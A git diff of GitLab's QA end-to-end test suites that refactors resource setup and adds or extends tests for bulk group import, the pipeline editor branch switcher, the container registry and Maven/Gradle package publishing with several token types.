index f49a8a229dc..62e6290183f 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_title_description_spec.rb
@@ -39,7 +39,7 @@ module QA
merge_request = Resource::MergeRequest.fabricate_via_api! do |mr|
mr.project = project
- mr.id = merge_request[:iid]
+ mr.iid = merge_request[:iid]
end.merge_via_api!
expect(merge_request[:state]).to eq('merged')
diff --git a/qa/qa/specs/features/api/5_package/container_registry_spec.rb b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
index 57b059ffc02..5003d49fe6c 100644
--- a/qa/qa/specs/features/api/5_package/container_registry_spec.rb
+++ b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
@@ -17,8 +17,8 @@ module QA
end
let(:registry) do
- Resource::RegistryRepository.new.tap do |repository|
- repository.name = "#{project.path_with_namespace}"
+ Resource::RegistryRepository.init do |repository|
+ repository.name = project.path_with_namespace
repository.project = project
repository.tag_name = 'master'
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
index d4c4ec5611a..6c2ff005f49 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/bulk_import_group_spec.rb
@@ -3,31 +3,33 @@
module QA
RSpec.describe 'Manage', :requires_admin do
describe 'Bulk group import' do
- let!(:admin_api_client) { Runtime::API::Client.as_admin }
- let!(:user) do
+ let!(:staging?) { Runtime::Scenario.gitlab_address.include?('staging.gitlab.com') }
+
+ let(:admin_api_client) { Runtime::API::Client.as_admin }
+ let(:user) do
Resource::User.fabricate_via_api! do |usr|
usr.api_client = admin_api_client
usr.hard_delete_on_api_removal = true
end
end
- let!(:api_client) { Runtime::API::Client.new(user: user) }
- let!(:personal_access_token) { api_client.personal_access_token }
+ let(:api_client) { Runtime::API::Client.new(user: user) }
+ let(:personal_access_token) { api_client.personal_access_token }
- let!(:sandbox) do
+ let(:sandbox) do
Resource::Sandbox.fabricate_via_api! do |group|
group.api_client = admin_api_client
end
end
- let!(:source_group) do
+ let(:source_group) do
Resource::Sandbox.fabricate_via_api! do |group|
group.api_client = api_client
group.path = "source-group-for-import-#{SecureRandom.hex(4)}"
end
end
- let!(:subgroup) do
+ let(:subgroup) do
Resource::Group.fabricate_via_api! do |group|
group.api_client = api_client
group.sandbox = source_group
@@ -36,7 +38,7 @@ module QA
end
let(:imported_group) do
- Resource::Group.new.tap do |group|
+ Resource::Group.init do |group|
group.api_client = api_client
group.sandbox = sandbox
group.path = source_group.path
@@ -44,25 +46,23 @@ module QA
end
let(:imported_subgroup) do
- Resource::Group.new.tap do |group|
+ Resource::Group.init do |group|
group.api_client = api_client
group.sandbox = imported_group
group.path = subgroup.path
end
end
- def staging?
- Runtime::Scenario.gitlab_address.include?('staging.gitlab.com')
- end
-
- before(:all) do
+ before do
Runtime::Feature.enable(:bulk_import) unless staging?
Runtime::Feature.enable(:top_level_group_creation_enabled) if staging?
- end
- before do
sandbox.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
+ # create groups explicitly before connecting gitlab instance
+ source_group
+ subgroup
+
Flow::Login.sign_in(as: user)
Page::Main::Menu.perform(&:go_to_create_group)
Page::Group::New.perform do |group|
@@ -73,14 +73,10 @@ module QA
# Non blocking issues:
# https://gitlab.com/gitlab-org/gitlab/-/issues/331252
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/333678 <- can cause 500 when creating user and group back to back
it(
'imports group with subgroups and labels',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1785',
- quarantine: {
- only: { job: 'relative_url' },
- issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/330344',
- type: :bug
- }
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1785'
) do
Resource::GroupLabel.fabricate_via_api! do |label|
label.api_client = api_client
@@ -96,9 +92,9 @@ module QA
Page::Group::BulkImport.perform do |import_page|
import_page.import_group(source_group.path, sandbox.path)
- aggregate_failures do
- expect(import_page).to have_imported_group(source_group.path, wait: 180)
+ expect(import_page).to have_imported_group(source_group.path, wait: 180)
+ aggregate_failures do
expect { imported_group.reload! }.to eventually_eq(source_group).within(duration: 10)
expect { imported_group.labels }.to eventually_include(*source_group.labels).within(duration: 10)
@@ -111,9 +107,7 @@ module QA
after do
user.remove_via_api!
- end
-
- after(:all) do
+ ensure
Runtime::Feature.disable(:bulk_import) unless staging?
Runtime::Feature.disable(:top_level_group_creation_enabled) if staging?
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
index 23a21d70cc1..696bbc2a7b7 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
@@ -143,7 +143,7 @@ module QA
Page::Admin::Overview::Users::Show.perform do |show|
user.id = show.user_id.to_i
- show.approve_user
+ show.approve_user(user)
end
expect(page).to have_text('Successfully approved')
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
index e722710ee00..4fffc786c14 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
@@ -4,7 +4,7 @@ module QA
RSpec.describe 'Manage', :smoke do
describe 'Project creation' do
it 'user creates a new project',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1234' do
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1857' do
Flow::Login.sign_in
created_project = Resource::Project.fabricate_via_browser_ui! do |project|
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
index 95092fe6ba6..6e0ed4adb63 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
@@ -6,7 +6,7 @@ module QA
RSpec.describe 'Manage', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/212145', type: :stale } do
describe 'Check for broken images', :requires_admin do
before(:context) do
- admin = QA::Resource::User.new.tap do |user|
+ admin = QA::Resource::User.init do |user|
user.username = QA::Runtime::User.admin_username
user.password = QA::Runtime::User.admin_password
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
index 55ad8baf872..4f85fa257a2 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
@@ -18,7 +18,6 @@ module QA
project.group = group
project.github_personal_access_token = Runtime::Env.github_access_token
project.github_repository_path = 'gitlab-qa-github/test-project'
- project.api_client = api_client
end
end
@@ -33,91 +32,13 @@ module QA
it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1762' do
Flow::Login.sign_in(as: user)
- imported_project.reload! # import the project and reload all fields
+ imported_project # import the project
- aggregate_failures do
- verify_repository_import
- verify_commits_import
- verify_labels_import
- verify_issues_import
- verify_milestones_import
- verify_wikis_import
- verify_merge_requests_import
+ Page::Project::Show.perform do |project|
+ expect(project).to have_content(imported_project.name)
+ expect(project).to have_content('This test project is used for automated GitHub import by GitLab QA.')
end
end
-
- def verify_repository_import
- expect(imported_project.api_response).to include(
- description: 'A new repo for test',
- import_status: 'finished',
- import_error: nil
- )
- end
-
- def verify_commits_import
- expect(imported_project.commits.length).to eq(20)
- end
-
- def verify_labels_import
- labels = imported_project.labels.map { |label| label.slice(:name, :color) }
-
- expect(labels).to eq(
- [
- { name: 'bug', color: '#d73a4a' },
- { name: 'custom new label', color: '#fc8f91' },
- { name: 'documentation', color: '#0075ca' },
- { name: 'duplicate', color: '#cfd3d7' },
- { name: 'enhancement', color: '#a2eeef' },
- { name: 'good first issue', color: '#7057ff' },
- { name: 'help wanted', color: '#008672' },
- { name: 'invalid', color: '#e4e669' },
- { name: 'question', color: '#d876e3' },
- { name: 'wontfix', color: '#ffffff' }
- ]
- )
- end
-
- def verify_issues_import
- issues = imported_project.issues
-
- expect(issues.length).to eq(1)
- expect(issues.first).to include(
- title: 'This is a sample issue',
- description: "*Created by: gitlab-qa-github*\n\nThis is a sample first comment",
- labels: ['custom new label', 'good first issue', 'help wanted'],
- user_notes_count: 1
- )
- end
-
- def verify_milestones_import
- milestones = imported_project.milestones
-
- expect(milestones.length).to eq(1)
- expect(milestones.first).to include(title: 'v1.0', description: nil, state: 'active')
- end
-
- def verify_wikis_import
- wikis = imported_project.wikis
-
- expect(wikis.length).to eq(1)
- expect(wikis.first).to include(title: 'Home', format: 'markdown')
- end
-
- def verify_merge_requests_import
- merge_requests = imported_project.merge_requests
-
- expect(merge_requests.length).to eq(1)
- expect(merge_requests.first).to include(
- title: 'Improve readme',
- state: 'opened',
- target_branch: 'main',
- source_branch: 'improve-readme',
- labels: %w[bug documentation],
- description: <<~DSC.strip
- *Created by: gitlab-qa-github*\n\nThis improves the README file a bit.\r\n\r\nTODO:\r\n\r\n \r\n\r\n- [ ] Do foo\r\n- [ ] Make bar\r\n - [ ] Think about baz
- DSC
- )
- end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
index d352996f419..d561e5d113c 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/email/trigger_email_notification_spec.rb
@@ -5,7 +5,7 @@ module QA
describe 'Email Notification' do
include Support::Api
- let(:user) do
+ let!(:user) do
Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
index 8c0b3da6004..2243437fc71 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
@@ -39,20 +39,23 @@ module QA
end
context 'when using attachments in comments', :object_storage do
- let(:gif_file_name) { 'banana_sample.gif' }
+ let(:png_file_name) { 'testfile.png' }
let(:file_to_attach) do
- File.absolute_path(File.join('qa', 'fixtures', 'designs', gif_file_name))
+ File.absolute_path(File.join('qa', 'fixtures', 'designs', png_file_name))
end
before do
Resource::Issue.fabricate_via_api!.visit!
end
- it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1742' do
+ # The following example is excluded from running in `review-qa-smoke` job
+ # as it proved to be flaky when running against Review App
+ # See https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/11568#note_621999351
+ it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1742', except: { job: 'review-qa-smoke' } do
Page::Project::Issue::Show.perform do |show|
- show.comment('See attached banana for scale', attachment: file_to_attach)
+ show.comment('See attached image for scale', attachment: file_to_attach)
- expect(show.noteable_note_item.find("img[src$='#{gif_file_name}']")).to be_visible
+ expect(show.noteable_note_item.find("img[src$='#{png_file_name}']")).to be_visible
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index dd4b3276687..a2b011bc61c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create' do
+ RSpec.describe 'Create', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/332588', type: :investigating } do
describe 'Merge request creation from fork' do
# TODO: Please add this back to :smoke suite as soon as https://gitlab.com/gitlab-org/gitlab/-/issues/332588 is addressed
it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1701' do
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
index 3574cdbe4ac..c05a3610b99 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/revert/reverting_merge_request_spec.rb
@@ -19,7 +19,7 @@ module QA
Flow::Login.sign_in
end
- it 'can be reverted', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1745' do
+ it 'can be reverted', :can_use_large_setup, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1745' do
revertable_merge_request.visit!
Page::MergeRequest::Show.perform do |merge_request|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
index 67b48d254ac..41fc20cfa5c 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
@@ -8,7 +8,7 @@ module QA
access_token = Resource::PersonalAccessToken.fabricate!.token
- user = Resource::User.new.tap do |user|
+ user = Resource::User.init do |user|
user.username = Runtime::User.username
user.password = access_token
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb
new file mode 100644
index 00000000000..bb9b5feed2e
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/pipeline_editor_branch_switcher_spec.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Verify' do
+ describe 'Pipeline editor', :requires_admin do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'pipeline-editor-project'
+ end
+ end
+
+ let!(:commit) do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files(
+ [
+ {
+ file_path: '.gitlab-ci.yml',
+ content: default_file_content
+ }
+ ]
+ )
+ end
+ end
+
+ let!(:production_push) do
+ Resource::Repository::Push.fabricate! do |push|
+ push.repository_http_uri = project.repository_http_location.uri
+ push.branch_name = 'production'
+ push.file_name = '.gitlab-ci.yml'
+ push.file_content = production_file_content
+ end
+ end
+
+ let(:default_file_content) do
+ <<~YAML
+ stages:
+ - test
+
+ initialize:
+ stage: test
+ script:
+ - echo "initialized in #{project.default_branch}"
+ YAML
+ end
+
+ let(:production_file_content) do
+ <<~YAML
+ stages:
+ - test
+
+ initialize:
+ stage: test
+ script:
+ - echo "initialized in production"
+ YAML
+ end
+
+ before do
+ Runtime::Feature.enable(:pipeline_editor_branch_switcher)
+ Flow::Login.sign_in
+ project.visit!
+ Page::Project::Menu.perform(&:go_to_pipeline_editor)
+ end
+
+ after do
+ Runtime::Feature.disable(:pipeline_editor_branch_switcher)
+ project.remove_via_api!
+ Page::Main::Menu.perform(&:sign_out)
+ end
+
+ it 'can switch branches and target branch field updates accordingly', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1856' do
+ Page::Project::PipelineEditor::Show.perform do |show|
+ expect(show).to have_branch_selector_button
+
+ show.click_branch_selector_button
+ show.select_branch_from_dropdown(production_push.branch_name)
+
+ expect(show.target_branch_name).to eq(production_push.branch_name)
+
+ show.click_branch_selector_button
+ show.select_branch_from_dropdown(project.default_branch)
+
+ expect(show.target_branch_name).to eq(project.default_branch)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
index d6d8729114d..07484feb686 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
@@ -40,7 +40,7 @@ module QA
Page::MergeRequest::Show.perform do |mr_widget|
Support::Retrier.retry_until(max_attempts: 5, sleep_interval: 5) do
- mr_widget.has_pipeline_status?(/Pipeline #\d+ passed/)
+ mr_widget.has_pipeline_status?('passed')
end
expect(mr_widget).to have_content('Test coverage 66.67%')
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
index 2489545782a..61c71b062ae 100644
--- a/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb
@@ -3,7 +3,7 @@
require 'securerandom'
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage do
describe 'Composer Repository' do
include Runtime::Fixtures
@@ -14,7 +14,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = "my_package-#{SecureRandom.hex(4)}"
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
index a1e2eb1046c..668a1524b1c 100644
--- a/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb
@@ -1,7 +1,11 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage, quarantine: {
+ only: { job: 'object_storage' },
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/335981',
+ type: :bug
+ } do
describe 'Conan Repository' do
include Runtime::Fixtures
@@ -12,7 +16,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = 'conantest'
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry_omnibus_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry_omnibus_spec.rb
new file mode 100644
index 00000000000..4b7669810ec
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry_omnibus_spec.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Package', :registry, :orchestrated do
+ describe 'Self-managed Container Registry' do
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-with-registry'
+ project.template_name = 'express'
+ end
+ end
+
+ let!(:runner) do
+ Resource::Runner.fabricate! do |runner|
+ runner.name = "qa-runner-#{Time.now.to_i}"
+ runner.tags = ["runner-for-#{project.name}"]
+ runner.executor = :docker
+ runner.project = project
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ project.visit!
+ end
+
+ after do
+ runner.remove_via_api!
+ end
+
+ it "pushes image and deletes tag", testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1743' do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ build:
+ image: docker:19.03.12
+ stage: build
+ services:
+ - name: docker:19.03.12-dind
+ command:
+ - /bin/sh
+ - -c
+ - |
+ apk add --no-cache openssl
+ true | openssl s_client -showcerts -connect gitlab.test:5050 > /usr/local/share/ca-certificates/gitlab.test.crt
+ update-ca-certificates
+ dockerd-entrypoint.sh || exit
+ variables:
+ IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD gitlab.test:5050
+ - docker build -t $IMAGE_TAG .
+ - docker push $IMAGE_TAG
+ tags:
+ - "runner-for-#{project.name}"
+ YAML
+ }])
+ end
+
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('build')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+ end
+
+ Page::Project::Menu.perform(&:go_to_container_registry)
+
+ Page::Project::Registry::Show.perform do |registry|
+ expect(registry).to have_registry_repository(project.path_with_namespace)
+
+ registry.click_on_image(project.path_with_namespace)
+ expect(registry).to have_tag('master')
+
+ registry.click_delete
+ expect(registry).not_to have_tag('master')
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
index bbf8ea8c05e..ef5965b29e5 100644
--- a/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage do
describe 'Generic Repository' do
let(:project) do
Resource::Project.fabricate_via_api! do |project|
@@ -10,7 +10,7 @@ module QA
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = "my_package"
package.project = project
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
index 4d4f981f021..32a0670e342 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb
@@ -1,41 +1,47 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :object_storage do
describe 'Maven Repository with Gradle' do
+ using RSpec::Parameterized::TableSyntax
include Runtime::Fixtures
let(:group_id) { 'com.gitlab.qa' }
let(:artifact_id) { 'maven_gradle' }
let(:package_name) { "#{group_id}/#{artifact_id}".tr('.', '/') }
- let(:auth_token) do
- unless Page::Main::Menu.perform(&:signed_in?)
- Flow::Login.sign_in
- end
+ let(:package_version) { '1.3.7' }
- Resource::PersonalAccessToken.fabricate!.token
- end
+ let(:personal_access_token) { Runtime::Env.personal_access_token }
- let(:project) do
+ let(:package_project) do
Resource::Project.fabricate_via_api! do |project|
project.name = 'maven-with-gradle-project'
project.initialize_with_readme = true
+ project.visibility = :private
+ end
+ end
+
+ let(:client_project) do
+ Resource::Project.fabricate_via_api! do |client_project|
+ client_project.name = 'gradle_client'
+ client_project.initialize_with_readme = true
+ client_project.group = package_project.group
end
end
let(:package) do
- Resource::Package.new.tap do |package|
+ Resource::Package.init do |package|
package.name = package_name
- package.project = project
+ package.project = package_project
end
end
- let!(:runner) do
+ let(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
- runner.tags = ["runner-for-#{project.name}"]
+ runner.tags = ["runner-for-#{package_project.group.name}"]
runner.executor = :docker
- runner.project = project
+ runner.token = package_project.group.runners_token
end
end
@@ -44,87 +50,200 @@ module QA
"#{uri.scheme}://#{uri.host}:#{uri.port}"
end
+ let(:project_deploy_token) do
+ Resource::DeployToken.fabricate_via_browser_ui! do |deploy_token|
+ deploy_token.name = 'maven-with-gradle-deploy-token'
+ deploy_token.project = package_project
+ end
+ end
+
+ let(:package_gitlab_ci_file) do
+ {
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ deploy:
+ image: gradle:6.5-jdk11
+ script:
+ - 'gradle publish'
+ only:
+ - "#{package_project.default_branch}"
+ tags:
+ - "runner-for-#{package_project.group.name}"
+ YAML
+ }
+ end
+
+ let(:package_build_gradle_file) do
+ {
+ file_path: 'build.gradle',
+ content:
+ <<~EOF
+ plugins {
+ id 'java'
+ id 'maven-publish'
+ }
+
+ publishing {
+ publications {
+ library(MavenPublication) {
+ groupId '#{group_id}'
+ artifactId '#{artifact_id}'
+ version '#{package_version}'
+ from components.java
+ }
+ }
+ repositories {
+ maven {
+ url "#{gitlab_address_with_port}/api/v4/projects/#{package_project.id}/packages/maven"
+ credentials(HttpHeaderCredentials) {
+ name = "Private-Token"
+ value = "#{personal_access_token}"
+ }
+ authentication {
+ header(HttpHeaderAuthentication)
+ }
+ }
+ }
+ }
+ EOF
+ }
+ end
+
+ let(:client_gitlab_ci_file) do
+ {
+ file_path: '.gitlab-ci.yml',
+ content:
+ <<~YAML
+ build:
+ image: gradle:6.5-jdk11
+ script:
+ - 'gradle build'
+ only:
+ - "#{client_project.default_branch}"
+ tags:
+ - "runner-for-#{client_project.group.name}"
+ YAML
+ }
+ end
+
+ before do
+ Flow::Login.sign_in_unless_signed_in
+ runner
+ end
+
after do
runner.remove_via_api!
package.remove_via_api!
+ package_project.remove_via_api!
+ client_project.remove_via_api!
end
- it 'publishes a maven package via gradle', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1074' do
- Resource::Repository::Commit.fabricate_via_api! do |commit|
- commit.project = project
- commit.commit_message = 'Add .gitlab-ci.yml'
- commit.add_files([{
- file_path: '.gitlab-ci.yml',
- content:
- <<~YAML
- deploy:
- image: gradle:6.5-jdk11
- script:
- - 'gradle publish'
- only:
- - "#{project.default_branch}"
- tags:
- - "runner-for-#{project.name}"
- YAML
- },
- {
- file_path: 'build.gradle',
- content:
- <<~EOF
- plugins {
- id 'java'
- id 'maven-publish'
- }
-
- publishing {
- publications {
- library(MavenPublication) {
- groupId '#{group_id}'
- artifactId '#{artifact_id}'
- from components.java
- }
- }
- repositories {
- maven {
- url "#{gitlab_address_with_port}/api/v4/projects/#{project.id}/packages/maven"
- credentials(HttpHeaderCredentials) {
- name = "Private-Token"
- value = "#{auth_token}"
- }
- authentication {
- header(HttpHeaderAuthentication)
- }
- }
- }
- }
- EOF
- }])
- end
-
- project.visit!
- Flow::Pipeline.visit_latest_pipeline
+ where(:authentication_token_type, :maven_header_name) do
+ :personal_access_token | 'Private-Token'
+ :ci_job_token | 'Job-Token'
+ :project_deploy_token | 'Deploy-Token'
+ end
- Page::Project::Pipeline::Show.perform do |pipeline|
- pipeline.click_job('deploy')
+ with_them do
+ let(:token) do
+ case authentication_token_type
+ when :personal_access_token
+ "\"#{personal_access_token}\""
+ when :ci_job_token
+ 'System.getenv("CI_JOB_TOKEN")'
+ when :project_deploy_token
+ "\"#{project_deploy_token.password}\""
+ end
end
- Page::Project::Job::Show.perform do |job|
- expect(job).to be_successful(timeout: 800)
+ let(:client_build_gradle_file) do
+ {
+ file_path: 'build.gradle',
+ content:
+ <<~EOF
+ plugins {
+ id 'java'
+ id 'application'
+ }
+
+ repositories {
+ jcenter()
+ maven {
+ url "#{gitlab_address_with_port}/api/v4/projects/#{package_project.id}/packages/maven"
+ name "GitLab"
+ credentials(HttpHeaderCredentials) {
+ name = '#{maven_header_name}'
+ value = #{token}
+ }
+ authentication {
+ header(HttpHeaderAuthentication)
+ }
+ }
+ }
+
+ dependencies {
+ implementation group: '#{group_id}', name: '#{artifact_id}', version: '#{package_version}'
+ testImplementation 'junit:junit:4.12'
+ }
+
+ application {
+ mainClassName = 'gradle_maven_app.App'
+ }
+ EOF
+ }
end
- Page::Project::Menu.perform(&:click_packages_link)
+ it "pushes and pulls a maven package via gradle using #{params[:authentication_token_type]}", testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1074' do
+ # pushing
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = package_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([package_gitlab_ci_file, package_build_gradle_file])
+ end
- Page::Project::Packages::Index.perform do |index|
- expect(index).to have_package(package_name)
+ package_project.visit!
- index.click_package(package_name)
- end
+ Flow::Pipeline.visit_latest_pipeline
+
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('deploy')
+ end
+
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+ end
+
+ Page::Project::Menu.perform(&:click_packages_link)
+
+ Page::Project::Packages::Index.perform do |index|
+ expect(index).to have_package(package_name)
+
+ index.click_package(package_name)
+ end
+
+ Page::Project::Packages::Show.perform do |show|
+ expect(show).to have_package_info(package_name, package_version)
+ end
+
+ # pulling
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = client_project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([client_gitlab_ci_file, client_build_gradle_file])
+ end
+
+ client_project.visit!
+
+ Flow::Pipeline.visit_latest_pipeline
- Page::Project::Packages::Show.perform(&:click_delete)
+ Page::Project::Pipeline::Show.perform do |pipeline|
+ pipeline.click_job('build')
+ end
- Page::Project::Packages::Index.perform do |index|
- expect(index).to have_content("Package deleted successfully")
- expect(index).not_to have_package(package_name)
+ Page::Project::Job::Show.perform do |job|
+ expect(job).to be_successful(timeout: 800)
+ end
end
end
end
